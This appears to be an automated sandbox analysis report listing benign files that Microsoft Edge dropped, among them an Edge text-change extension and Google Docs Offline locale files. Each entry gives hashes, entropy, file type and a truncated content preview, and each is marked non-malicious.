SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\scoped_dir7988_104316161\2bc7df6f-3695-4cda-9db2-943ef4cb5850.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7988_104316161\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7988_104316161\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7988_104316161\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7988_104316161\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
